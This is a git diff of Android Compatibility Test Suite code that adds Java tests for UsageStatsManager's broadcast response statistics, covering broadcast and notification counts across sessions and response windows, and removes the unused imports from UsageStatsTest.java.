+        final ArrayMap<String, BroadcastResponseStats> expectedStatsForId1 = new ArrayMap<>();
+        final ArrayMap<String, BroadcastResponseStats> expectedStatsForId2 = new ArrayMap<>();
+        // Initially all the counts should be empty
+        assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
+        assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
+
+        final TestServiceConnection connection1 = bindToTestServiceAndGetConnection(TEST_APP_PKG);
+        final TestServiceConnection connection3 = bindToTestServiceAndGetConnection(TEST_APP3_PKG);
+        try {
+            ITestReceiver testReceiver1 = connection1.getITestReceiver();
+            ITestReceiver testReceiver3 = connection3.getITestReceiver();
+
+            testReceiver1.cancelAll();
+            testReceiver3.cancelAll();
+
+            final Intent intent = new Intent().setComponent(new ComponentName(
+                    TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+            final Intent intent3 = new Intent().setComponent(new ComponentName(
+                    TEST_APP3_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+            final BroadcastOptions options1 = BroadcastOptions.makeBasic();
+            options1.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
+            final BroadcastOptions options2 = BroadcastOptions.makeBasic();
+            options2.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_2);
+
+            testReceiver1.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
+                    TEST_NOTIFICATION_CHANNEL_NAME,
+                    TEST_NOTIFICATION_CHANNEL_DESC);
+            testReceiver3.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
+                    TEST_NOTIFICATION_CHANNEL_NAME,
+                    TEST_NOTIFICATION_CHANNEL_DESC);
+
+            // Send a broadcast to test-pkg1 with a request to record response and verify
+            // broadcast-sent count gets incremented.
+            sendBroadcastAndWaitForReceipt(intent, options1.toBundle());
+            sendBroadcastAndWaitForReceipt(intent3, options1.toBundle());
+
+            testReceiver1.postNotification(TEST_NOTIFICATION_ID_1,
+                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+                            TEST_NOTIFICATION_TEXT_1));
+            testReceiver3.postNotification(TEST_NOTIFICATION_ID_1,
+                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+                            TEST_NOTIFICATION_TEXT_1));
+
+            expectedStatsForId1.put(TEST_APP_PKG, new BroadcastResponseStats(TEST_APP_PKG,
+                    TEST_RESPONSE_STATS_ID_1));
+            expectedStatsForId1.put(TEST_APP3_PKG, new BroadcastResponseStats(TEST_APP3_PKG,
+                    TEST_RESPONSE_STATS_ID_1));
+            expectedStatsForId1.get(TEST_APP_PKG).incrementBroadcastsDispatchedCount(1);
+            expectedStatsForId1.get(TEST_APP_PKG).incrementNotificationsPostedCount(1);
+            expectedStatsForId1.get(TEST_APP3_PKG).incrementBroadcastsDispatchedCount(1);
+            expectedStatsForId1.get(TEST_APP3_PKG).incrementNotificationsPostedCount(1);
+            assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
+            assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
+
+            sendBroadcastAndWaitForReceipt(intent, options1.toBundle());
+            sendBroadcastAndWaitForReceipt(intent3, options2.toBundle());
+
+            testReceiver1.postNotification(TEST_NOTIFICATION_ID_1,
+                    buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+                            TEST_NOTIFICATION_TEXT_2));
+            testReceiver3.cancelNotification(TEST_NOTIFICATION_ID_1);
+
+            expectedStatsForId1.get(TEST_APP_PKG).incrementBroadcastsDispatchedCount(1);
+            expectedStatsForId1.get(TEST_APP_PKG).incrementNotificationsUpdatedCount(1);
+            expectedStatsForId2.put(TEST_APP3_PKG, new BroadcastResponseStats(TEST_APP3_PKG,
+                    TEST_RESPONSE_STATS_ID_2));
+            expectedStatsForId2.get(TEST_APP3_PKG).incrementBroadcastsDispatchedCount(1);
+            expectedStatsForId2.get(TEST_APP3_PKG).incrementNotificationsCancelledCount(1);
+
+            assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
+            assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
+
+            mUsageStatsManager.clearBroadcastResponseStats(null /* packageName */, 0 /* id */);
+            expectedStatsForId1.clear();
+            expectedStatsForId2.clear();
+            assertResponseStats(TEST_RESPONSE_STATS_ID_1, expectedStatsForId1);
+            assertResponseStats(TEST_RESPONSE_STATS_ID_2, expectedStatsForId2);
+
+            testReceiver1.cancelAll();
+            testReceiver3.cancelAll();
+        } finally {
+            connection1.unbind();
+            connection3.unbind();
+        }
+    }
+
+    @AppModeFull(reason = "No broadcast message response stats in instant apps")
+    @Test
+    public void testBroadcastResponseStats_mediaNotification() throws Exception {
+        assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+                0 /* broadcastCount */,
+                0 /* notificationPostedCount */,
+                0 /* notificationUpdatedCount */,
+                0 /* notificationCancelledCount */);
+
+        final TestServiceConnection connection = bindToTestServiceAndGetConnection();
+        try {
+            ITestReceiver testReceiver = connection.getITestReceiver();
+            testReceiver.cancelAll();
+
+            // Send a broadcast with a request to record response and verify broadcast-sent
+            // count gets incremented.
+            final BroadcastOptions options = BroadcastOptions.makeBasic();
+            options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
+            final Intent intent = new Intent().setComponent(new ComponentName(
+                    TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+            sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+            testReceiver.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
+                    TEST_NOTIFICATION_CHANNEL_NAME,
+                    TEST_NOTIFICATION_CHANNEL_DESC);
+            testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
+                    buildMediaNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+                            TEST_NOTIFICATION_TEXT_1));
+
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+                    1 /* broadcastCount */,
+                    1 /* notificationPostedCount */,
+                    0 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+
+            testReceiver.cancelAll();
+        } finally {
+            connection.unbind();
+        }
+    }
+
+    @AppModeFull(reason = "No broadcast message response stats in instant apps")
+    @Test
+    public void testBroadcastResponseStats_broadcastSession() throws Exception {
+        final long broadcastSessionDurationMs = TimeUnit.MINUTES.toMillis(1);
+        final long broadcastResponseWindowDurationMs = TimeUnit.MINUTES.toMillis(1);
+        try (DeviceConfigStateHelper deviceConfigStateHelper =
+                new DeviceConfigStateHelper(NAMESPACE_APP_STANDBY)) {
+            updateFlagWithDelay(deviceConfigStateHelper,
+                    KEY_BROADCAST_SESSIONS_DURATION_MS,
+                    String.valueOf(broadcastSessionDurationMs));
+            updateFlagWithDelay(deviceConfigStateHelper,
+                    KEY_BROADCAST_RESPONSE_WINDOW_DURATION_MS,
+                    String.valueOf(broadcastResponseWindowDurationMs));
+
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+                    0 /* broadcastCount */,
+                    0 /* notificationPostedCount */,
+                    0 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+                    0 /* broadcastCount */,
+                    0 /* notificationPostedCount */,
+                    0 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+
+            final TestServiceConnection connection = bindToTestServiceAndGetConnection();
+            try {
+                ITestReceiver testReceiver = connection.getITestReceiver();
+                testReceiver.cancelAll();
+
+                // Send a broadcast with a request to record response and verify broadcast-sent
+                // count gets incremented.
+                final Intent intent = new Intent().setComponent(new ComponentName(
+                        TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+                final BroadcastOptions options = BroadcastOptions.makeBasic();
+                options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
+                sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+                // Send the broadcast again multiple times
+                sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+                sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+                // Now wait for a while and send the broadcast again.
+                SystemClock.sleep(broadcastSessionDurationMs);
+                sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+                // Now wait until the broadcast response duration is elapsed and send the
+                // broadcast again.
+                SystemClock.sleep(broadcastResponseWindowDurationMs);
+                sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+                // Verify that total broadcasts are considered as only 2 even though they
+                // are dispatched multiple times.
+                assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+                        2 /* broadcastCount */,
+                        0 /* notificationPostedCount */,
+                        0 /* notificationUpdatedCount */,
+                        0 /* notificationCancelledCount */);
+                assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+                        0 /* broadcastCount */,
+                        0 /* notificationPostedCount */,
+                        0 /* notificationUpdatedCount */,
+                        0 /* notificationCancelledCount */);
+            } finally {
+                connection.unbind();
+            }
+        }
+    }
+
+    @AppModeFull(reason = "No broadcast message response stats in instant apps")
+    @Test
+    public void testBroadcastResponseStats_broadcastSession_withLateNotification()
+            throws Exception {
+        final long broadcastSessionDurationMs = TimeUnit.MINUTES.toMillis(1);
+        final long broadcastResponseWindowDurationMs = TimeUnit.MINUTES.toMillis(1);
+        try (DeviceConfigStateHelper deviceConfigStateHelper =
+                     new DeviceConfigStateHelper(NAMESPACE_APP_STANDBY)) {
+            updateFlagWithDelay(deviceConfigStateHelper,
+                    KEY_BROADCAST_SESSIONS_DURATION_MS,
+                    String.valueOf(broadcastSessionDurationMs));
+            updateFlagWithDelay(deviceConfigStateHelper,
+                    KEY_BROADCAST_RESPONSE_WINDOW_DURATION_MS,
+                    String.valueOf(broadcastResponseWindowDurationMs));
+
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+                    0 /* broadcastCount */,
+                    0 /* notificationPostedCount */,
+                    0 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+                    0 /* broadcastCount */,
+                    0 /* notificationPostedCount */,
+                    0 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+
+            final TestServiceConnection connection = bindToTestServiceAndGetConnection();
+            try {
+                ITestReceiver testReceiver = connection.getITestReceiver();
+                testReceiver.cancelAll();
+
+                // Send a broadcast with a request to record response and verify broadcast-sent
+                // count gets incremented.
+                final Intent intent = new Intent().setComponent(new ComponentName(
+                        TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+                final BroadcastOptions options = BroadcastOptions.makeBasic();
+                options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
+                sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+                // Send the broadcast again multiple times
+                sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+                sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+                // Now wait for a while and send the broadcast again.
+                SystemClock.sleep(broadcastSessionDurationMs);
+                sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+                // Now wait until the broadcast response duration is elapsed and post a
+                // notification.
+                SystemClock.sleep(broadcastResponseWindowDurationMs);
+                testReceiver.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
+                        TEST_NOTIFICATION_CHANNEL_NAME,
+                        TEST_NOTIFICATION_CHANNEL_DESC);
+                testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
+                        buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+                                TEST_NOTIFICATION_TEXT_1));
+
+                // Verify that total broadcasts are considered as only 2 even though they
+                // are dispatched multiple times and the posted notification doesn't get counted.
+                assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+                        2 /* broadcastCount */,
+                        0 /* notificationPostedCount */,
+                        0 /* notificationUpdatedCount */,
+                        0 /* notificationCancelledCount */);
+                assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+                        0 /* broadcastCount */,
+                        0 /* notificationPostedCount */,
+                        0 /* notificationUpdatedCount */,
+                        0 /* notificationCancelledCount */);
+            } finally {
+                connection.unbind();
+            }
+        }
+    }
+
+    @AppModeFull(reason = "No broadcast message response stats in instant apps")
+    @Test
+    public void testBroadcastResponseStats_broadcastSessionWithResponse() throws Exception {
+        final long broadcastSessionWithResponseDurationMs = TimeUnit.MINUTES.toMillis(1);
+        final long broadcastResponseWindowDurationMs = TimeUnit.MINUTES.toMillis(4);
+        try (DeviceConfigStateHelper deviceConfigStateHelper =
+                     new DeviceConfigStateHelper(NAMESPACE_APP_STANDBY)) {
+            updateFlagWithDelay(deviceConfigStateHelper,
+                    KEY_BROADCAST_SESSIONS_WITH_RESPONSE_DURATION_MS,
+                    String.valueOf(broadcastSessionWithResponseDurationMs));
+            updateFlagWithDelay(deviceConfigStateHelper,
+                    KEY_BROADCAST_RESPONSE_WINDOW_DURATION_MS,
+                    String.valueOf(broadcastResponseWindowDurationMs));
+
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+                    0 /* broadcastCount */,
+                    0 /* notificationPostedCount */,
+                    0 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+                    0 /* broadcastCount */,
+                    0 /* notificationPostedCount */,
+                    0 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+
+            final TestServiceConnection connection = bindToTestServiceAndGetConnection();
+            try {
+                ITestReceiver testReceiver = connection.getITestReceiver();
+                testReceiver.cancelAll();
+
+                // Send a broadcast with a request to record response and verify broadcast-sent
+                // count gets incremented.
+                final Intent intent = new Intent().setComponent(new ComponentName(
+                        TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+                final BroadcastOptions options = BroadcastOptions.makeBasic();
+                options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
+                sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+                // Send the broadcast again multiple times
+                sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+                sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+                // Now wait for a while and send the broadcast again.
+                SystemClock.sleep(broadcastSessionWithResponseDurationMs);
+                sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+                // Repeat the previous step - wait for a while and send the broadcast again.
+                SystemClock.sleep(broadcastSessionWithResponseDurationMs);
+                sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+                // Trigger a notification from test app and verify notification-posted count gets
+                // incremented.
+                testReceiver.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
+                        TEST_NOTIFICATION_CHANNEL_NAME,
+                        TEST_NOTIFICATION_CHANNEL_DESC);
+                testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
+                        buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+                                TEST_NOTIFICATION_TEXT_1));
+
+                // Verify that total broadcasts are considered as only 2 even though they
+                // are dispatched multiple times.
+                assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+                        3 /* broadcastCount */,
+                        3 /* notificationPostedCount */,
+                        0 /* notificationUpdatedCount */,
+                        0 /* notificationCancelledCount */);
+                assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+                        0 /* broadcastCount */,
+                        0 /* notificationPostedCount */,
+                        0 /* notificationUpdatedCount */,
+                        0 /* notificationCancelledCount */);
+            } finally {
+                connection.unbind();
+            }
+        }
+    }
+
+    @AppModeFull(reason = "No broadcast message response stats in instant apps")
+    @Test
+    public void testBroadcastResponseStats_broadcastSessionWithResponse_recordOnlyOne()
+            throws Exception {
+        final long broadcastSessionDurationMs = TimeUnit.SECONDS.toMillis(30);
+        final long broadcastSessionWithResponseDurationMs = broadcastSessionDurationMs;
+        final long broadcastResponseWindowDurationMs = TimeUnit.MINUTES.toMillis(2);
+        try (DeviceConfigStateHelper deviceConfigStateHelper =
+                     new DeviceConfigStateHelper(NAMESPACE_APP_STANDBY)) {
+            updateFlagWithDelay(deviceConfigStateHelper,
+                    KEY_BROADCAST_SESSIONS_DURATION_MS,
+                    String.valueOf(broadcastSessionDurationMs));
+            updateFlagWithDelay(deviceConfigStateHelper,
+                    KEY_BROADCAST_SESSIONS_WITH_RESPONSE_DURATION_MS,
+                    String.valueOf(broadcastSessionWithResponseDurationMs));
+            updateFlagWithDelay(deviceConfigStateHelper,
+                    KEY_BROADCAST_RESPONSE_WINDOW_DURATION_MS,
+                    String.valueOf(broadcastResponseWindowDurationMs));
+            updateFlagWithDelay(deviceConfigStateHelper,
+                    KEY_RECORD_ALL_BROADCAST_SESSIONS_WITHIN_RESPONSE_WINDOW,
+                    String.valueOf(false));
+
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+                    0 /* broadcastCount */,
+                    0 /* notificationPostedCount */,
+                    0 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+            assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+                    0 /* broadcastCount */,
+                    0 /* notificationPostedCount */,
+                    0 /* notificationUpdatedCount */,
+                    0 /* notificationCancelledCount */);
+
+            final TestServiceConnection connection = bindToTestServiceAndGetConnection();
+            try {
+                ITestReceiver testReceiver = connection.getITestReceiver();
+                testReceiver.cancelAll();
+
+                // Send a broadcast with a request to record response and verify broadcast-sent
+                // count gets incremented.
+                final Intent intent = new Intent().setComponent(new ComponentName(
+                        TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+                final BroadcastOptions options = BroadcastOptions.makeBasic();
+                options.recordResponseEventWhileInBackground(TEST_RESPONSE_STATS_ID_1);
+                sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+                // Send the broadcast again multiple times
+                sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+                sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+                // Now wait for a while and send the broadcast again.
+                SystemClock.sleep(broadcastSessionWithResponseDurationMs);
+                sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+                // Repeat the previous step - wait for a while and send the broadcast again.
+                SystemClock.sleep(broadcastSessionWithResponseDurationMs);
+                sendBroadcastAndWaitForReceipt(intent, options.toBundle());
+
+                // Trigger a notification from test app and verify notification-posted count gets
+                // incremented.
+                testReceiver.createNotificationChannel(TEST_NOTIFICATION_CHANNEL_ID,
+                        TEST_NOTIFICATION_CHANNEL_NAME,
+                        TEST_NOTIFICATION_CHANNEL_DESC);
+                testReceiver.postNotification(TEST_NOTIFICATION_ID_1,
+                        buildNotification(TEST_NOTIFICATION_CHANNEL_ID, TEST_NOTIFICATION_ID_1,
+                                TEST_NOTIFICATION_TEXT_1));
+
+                // Verify that total broadcasts are considered as only 2 even though they
+                // are dispatched multiple times.
+                assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+                        1 /* broadcastCount */,
+                        1 /* notificationPostedCount */,
+                        0 /* notificationUpdatedCount */,
+                        0 /* notificationCancelledCount */);
+                assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+                        0 /* broadcastCount */,
+                        0 /* notificationPostedCount */,
+                        0 /* notificationUpdatedCount */,
+                        0 /* notificationCancelledCount */);
+
+                // Wait until the broadcast response window duration is elapsed and verify that
+                // previously sent broadcasts are recorded correctly.
+                SystemClock.sleep(broadcastResponseWindowDurationMs);
+
+                testReceiver.cancelNotification(TEST_NOTIFICATION_ID_1);
+
+                // Verify that total broadcasts are considered as only 2 even though they
+                // are dispatched multiple times.
+                assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_1,
+                        3 /* broadcastCount */,
+                        1 /* notificationPostedCount */,
+                        0 /* notificationUpdatedCount */,
+                        0 /* notificationCancelledCount */);
+                assertResponseStats(TEST_APP_PKG, TEST_RESPONSE_STATS_ID_2,
+                        0 /* broadcastCount */,
+                        0 /* notificationPostedCount */,
+                        0 /* notificationUpdatedCount */,
+                        0 /* notificationCancelledCount */);
+            } finally {
+                connection.unbind();
+            }
+        }
+    }
+
+    private void updateFlagWithDelay(DeviceConfigStateHelper deviceConfigStateHelper,
+            String key, String value) {
+        deviceConfigStateHelper.set(key, value);
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            final String actualValue = PollingCheck.waitFor(DEFAULT_TIMEOUT_MS,
+                    () -> mUsageStatsManager.getAppStandbyConstant(key),
+                    result -> value.equals(result));
+            assertEquals("Error changing the value of " + key, value, actualValue);
+        });
+    }
+
+    private Notification buildNotification(String channelId, int notificationId,
+            String notificationText) {
+        return new Notification.Builder(sContext, channelId)
+                .setSmallIcon(android.R.drawable.ic_info)
+                .setContentTitle(String.format(TEST_NOTIFICATION_TITLE_FMT, notificationId))
+                .setContentText(notificationText)
+                .build();
+    }
+
+    private Notification buildMediaNotification(String channelId, int notificationId,
+            String notificationText) {
+        final PendingIntent pendingIntent = PendingIntent.getActivity(sContext,
+                0 /* requestCode */, new Intent(sContext, this.getClass()),
+                PendingIntent.FLAG_IMMUTABLE);
+        final MediaSession session = new MediaSession(sContext, "test_media");
+        return new Notification.Builder(sContext, channelId)
+                .setSmallIcon(android.R.drawable.ic_menu_day)
+                .setContentTitle(String.format(TEST_NOTIFICATION_TITLE_FMT, notificationId))
+                .setContentText(notificationText)
+                .addAction(new Notification.Action.Builder(
+                        Icon.createWithResource(sContext, android.R.drawable.ic_media_previous),
+                        "previous", pendingIntent).build())
+                .addAction(new Notification.Action.Builder(
+                        Icon.createWithResource(sContext, android.R.drawable.ic_media_play),
+                        "play", pendingIntent).build())
+                .addAction(new Notification.Action.Builder(
+                        Icon.createWithResource(sContext, android.R.drawable.ic_media_next),
+                        "next", pendingIntent).build())
+                .setStyle(new Notification.MediaStyle()
+                        .setShowActionsInCompactView(0, 1, 2)
+                        .setMediaSession(session.getSessionToken()))
+                .build();
+    }
+
+    private void sendBroadcastAndWaitForReceipt(Intent intent, Bundle options)
+            throws Exception {
+        final CountDownLatch latch = new CountDownLatch(1);
+        intent.putExtra(EXTRA_REMOTE_CALLBACK, new RemoteCallback(result -> latch.countDown()));
+        sContext.sendBroadcast(intent, null /* receiverPermission */, options);
+        if (!latch.await(DEFAULT_TIMEOUT_MS, TimeUnit.SECONDS)) {
+            fail("Timed out waiting for the test app to receive the broadcast");
+        }
+    }
+
+    private void assertResponseStats(String packageName, long id, int... expectedCounts) {
+        final BroadcastResponseStats expectedStats = new BroadcastResponseStats(packageName, id);
+        expectedStats.incrementBroadcastsDispatchedCount(expectedCounts[0]);
+        expectedStats.incrementNotificationsPostedCount(expectedCounts[1]);
+        expectedStats.incrementNotificationsUpdatedCount(expectedCounts[2]);
+        expectedStats.incrementNotificationsCancelledCount(expectedCounts[3]);
+        assertResponseStats(packageName, id, expectedStats);
+    }
+
+    private void assertResponseStats(String packageName, long id,
+            BroadcastResponseStats expectedStats) {
+        List<BroadcastResponseStats> actualStats = mUsageStatsManager
+                .queryBroadcastResponseStats(packageName, id);
+        if (compareStats(expectedStats, actualStats)) {
+            SystemClock.sleep(WAIT_TIME_FOR_NEGATIVE_TESTS_MS);
+        }
+
+        actualStats = PollingCheck.waitFor(DEFAULT_TIMEOUT_MS,
+                () -> mUsageStatsManager.queryBroadcastResponseStats(packageName, id),
+                result -> compareStats(expectedStats, result));
+        actualStats.sort(Comparator.comparing(BroadcastResponseStats::getPackageName));
+        final String errorMsg = String.format("\nEXPECTED(%d)=%s\nACTUAL(%d)=%s\n",
+                1, expectedStats,
+                actualStats.size(), Arrays.toString(actualStats.toArray()));
+        assertTrue(errorMsg, compareStats(expectedStats, actualStats));
+    }
+
+    private void assertResponseStats(long id,
+            ArrayMap<String, BroadcastResponseStats> expectedStats) {
+        // TODO: Call into the above assertResponseStats() method instead of duplicating
+        // the logic.
+        List<BroadcastResponseStats> actualStats = mUsageStatsManager
+                .queryBroadcastResponseStats(null /* packageName */, id);
+        if (compareStats(expectedStats, actualStats)) {
+            SystemClock.sleep(WAIT_TIME_FOR_NEGATIVE_TESTS_MS);
+        }
+
+        actualStats = PollingCheck.waitFor(DEFAULT_TIMEOUT_MS,
+                () -> mUsageStatsManager.queryBroadcastResponseStats(null /* packageName */, id),
+                result -> compareStats(expectedStats, result));
+        actualStats.sort(Comparator.comparing(BroadcastResponseStats::getPackageName));
+        final String errorMsg = String.format("\nEXPECTED(%d)=%s\nACTUAL(%d)=%s\n",
+                expectedStats.size(), expectedStats,
+                actualStats.size(), Arrays.toString(actualStats.toArray()));
+        assertTrue(errorMsg, compareStats(expectedStats, actualStats));
+    }
+
+    private boolean compareStats(ArrayMap<String, BroadcastResponseStats> expectedStats,
+            List<BroadcastResponseStats> actualStats) {
+        if (expectedStats.size() != actualStats.size()) {
+            return false;
+        }
+        for (int i = 0; i < actualStats.size(); ++i) {
+            final BroadcastResponseStats actualPackageStats = actualStats.get(i);
+            final String packageName = actualPackageStats.getPackageName();
+            if (!actualPackageStats.equals(expectedStats.get(packageName))) {
+                return false;
+            }
+        }
+        return true;
+    }
+
+    private boolean compareStats(BroadcastResponseStats expectedStats,
+            List<BroadcastResponseStats> actualStats) {
+        if (actualStats.size() > 1) {
+            return false;
+        }
+        final BroadcastResponseStats stats = (actualStats == null || actualStats.isEmpty())
+                ? new BroadcastResponseStats(expectedStats.getPackageName(), expectedStats.getId())
+                : actualStats.get(0);
+        return expectedStats.equals(stats);
+    }
+
+    private TestServiceConnection bindToTestServiceAndGetConnection(String packageName) {
+        final TestServiceConnection
+                connection = new TestServiceConnection(sContext);
+        final Intent intent = new Intent().setComponent(
+                new ComponentName(packageName, TEST_APP_CLASS_SERVICE));
+        sContext.bindService(intent, connection, Context.BIND_AUTO_CREATE);
+        return connection;
+    }
+
+    private TestServiceConnection bindToTestServiceAndGetConnection() throws Exception {
+        return bindToTestServiceAndGetConnection(TEST_APP_PKG);
+    }
+
+    private void launchTestActivityAndWaitToBeResumed(String pkgName, String className)
+            throws Exception {
+        // Make sure the screen is awake and unlocked. Otherwise, the app activity won't be resumed.
+        wakeUpAndDismissKeyguard();
+
+        final Intent intent = createTestActivityIntent(pkgName, className);
+        final CountDownLatch latch = new CountDownLatch(1);
+        intent.putExtra(EXTRA_REMOTE_CALLBACK, new RemoteCallback(result -> latch.countDown()));
+        sContext.startActivity(intent);
+        if (!latch.await(DEFAULT_TIMEOUT_MS, TimeUnit.SECONDS)) {
+            fail("Timed out waiting for the test app activity to be resumed");
+        }
+    }
+
+    private void wakeUpAndDismissKeyguard() throws Exception {
+        mUiDevice.wakeUp();
+        SystemUtil.runShellCommand("wm dismiss-keyguard");
+    }
+
+    private Intent createTestActivityIntent(String pkgName, String className) {
+        final Intent intent = new Intent();
+        intent.setClassName(pkgName, className);
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        return intent;
+    }
+}
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
index 7497bb7..3cba63c 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
@@ -16,20 +16,17 @@
 
 package android.app.usage.cts;
 
-import static android.Manifest.permission.ACCESS_BROADCAST_RESPONSE_STATS;
 import static android.Manifest.permission.POST_NOTIFICATIONS;
 import static android.Manifest.permission.REVOKE_POST_NOTIFICATIONS_WITHOUT_KILL;
 import static android.Manifest.permission.REVOKE_RUNTIME_PERMISSIONS;
 import static android.app.usage.UsageStatsManager.STANDBY_BUCKET_FREQUENT;
 import static android.app.usage.UsageStatsManager.STANDBY_BUCKET_RARE;
-import static android.content.Intent.EXTRA_REMOTE_CALLBACK;
 import static android.provider.DeviceConfig.NAMESPACE_APP_STANDBY;
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertThrows;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 import static org.junit.Assume.assumeFalse;
@@ -39,14 +36,11 @@
 import android.app.Activity;
 import android.app.ActivityManager;
 import android.app.AppOpsManager;
-import android.app.BroadcastOptions;
 import android.app.KeyguardManager;
 import android.app.Notification;
 import android.app.NotificationChannel;
 import android.app.NotificationManager;
 import android.app.PendingIntent;
-import android.app.UiAutomation;
-import android.app.usage.BroadcastResponseStats;
 import android.app.usage.EventStats;
 import android.app.usage.UsageEvents;
 import android.app.usage.UsageEvents.Event;
@@ -60,14 +54,10 @@
 import android.content.ServiceConnection;
 import android.content.pm.PackageManager;
 import android.database.Cursor;
-import android.graphics.drawable.Icon;
-import android.media.session.MediaSession;
 import android.net.Uri;
-import android.os.Bundle;
 import android.os.IBinder;
 import android.os.Parcel;
 import android.os.Process;
-import android.os.RemoteCallback;
 import android.os.SystemClock;
 import android.os.UserHandle;
 import android.os.UserManager;
@@ -108,7 +98,6 @@
 import java.time.Duration;
 import java.util.ArrayList;
 import java.util.Arrays;
-import java.util.Comparator;
 import java.util.List;
 import java.util.Map;
 import java.util.Objects;
@@ -150,14 +139,14 @@
 
